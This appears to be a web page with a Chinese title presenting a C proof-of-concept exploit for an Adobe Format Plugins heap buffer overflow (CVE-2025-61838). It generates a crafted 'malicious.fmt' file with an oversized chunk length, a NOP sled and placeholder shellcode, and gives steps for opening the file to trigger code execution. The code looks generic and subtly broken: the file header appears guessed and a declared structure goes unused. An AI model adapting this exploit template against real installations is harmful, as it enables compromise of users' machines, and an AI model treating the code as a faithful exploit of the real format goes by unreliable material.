Adobe Format Plugins 堆缓冲区溢出漏洞 (CVE-2025-61838)

// CVE-2025-61838 PoC - Adobe Format Plugins Heap Buffer Overflow // This PoC demonstrates the vulnerability in Format Plugins <= 1.1.1 // Author: Security Researcher // Note: This is a conceptual proof of concept for educational purposes only #include <stdio.h> #include <stdlib.h> #include <string.h> // Malicious file header structure typedef struct { char magic[4]; // File magic number uint32_t size; // Chunk size (crafted to overflow) uint32_t type; // Chunk type char* payload; // Malicious payload } malicious_chunk_t; // Generate malicious Format Plugin file unsigned char* generate_malicious_file(unsigned int overflow_size) { // Allocate buffer for malicious file unsigned char* buffer = (unsigned char*)malloc(1024 * 1024); // 1MB buffer memset(buffer, 0x41, 1024 * 1024); // Fill with 'A' characters // Set file header buffer[0] = 0x46; // 'F' for Format buffer[1] = 0x4D; // 'M' buffer[2] = 0x54; // 'T' buffer[3] = 0x31; // '1' // Craft oversized chunk size to trigger heap overflow uint32_t* chunk_size = (uint32_t*)&buffer[4]; *chunk_size = 0xFFFFFFFF; // Maximum uint32 to overflow heap // Add NOP sled and shellcode placeholder unsigned char nop_sled[] = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 }; // Shellcode for code execution (placeholder - platform specific) unsigned char shellcode[] = { 0xCC, 0xCC, 0xCC, 0xCC // INT3 breakpoints for testing }; // Copy NOP sled and shellcode after header memcpy(&buffer[16], nop_sled, sizeof(nop_sled)); memcpy(&buffer[16 + sizeof(nop_sled)], shellcode, sizeof(shellcode)); return buffer; } int main(int argc, char* argv[]) { printf("CVE-2025-61838 PoC Generator\n"); printf("Adobe Format Plugins Heap Buffer Overflow\n\n"); // Generate malicious file unsigned char* malicious_file = generate_malicious_file(0xFFFFFFFF); // Save to file FILE* fp = fopen("malicious.fmt", "wb"); if (fp != NULL) { fwrite(malicious_file, 1, 1024 * 1024, fp); fclose(fp); printf("[+] Malicious file generated: malicious.fmt\n"); printf("[+] File size: 1MB\n"); printf("[+] Overflow size: 0xFFFFFFFF\n"); printf("[+] Target: Adobe Format Plugins <= 1.1.1\n"); } else { printf("[-] Error: Could not create malicious file\n"); } free(malicious_file); return 0; } /* Usage: 1. Compile: gcc -o poc poc.c 2. Run: ./poc 3. Open malicious.fmt with Adobe Format Plugins <= 1.1.1 4. Triggers heap buffer overflow for code execution Disclaimer: This code is for educational and research purposes only. Always obtain proper authorization before testing security vulnerabilities. */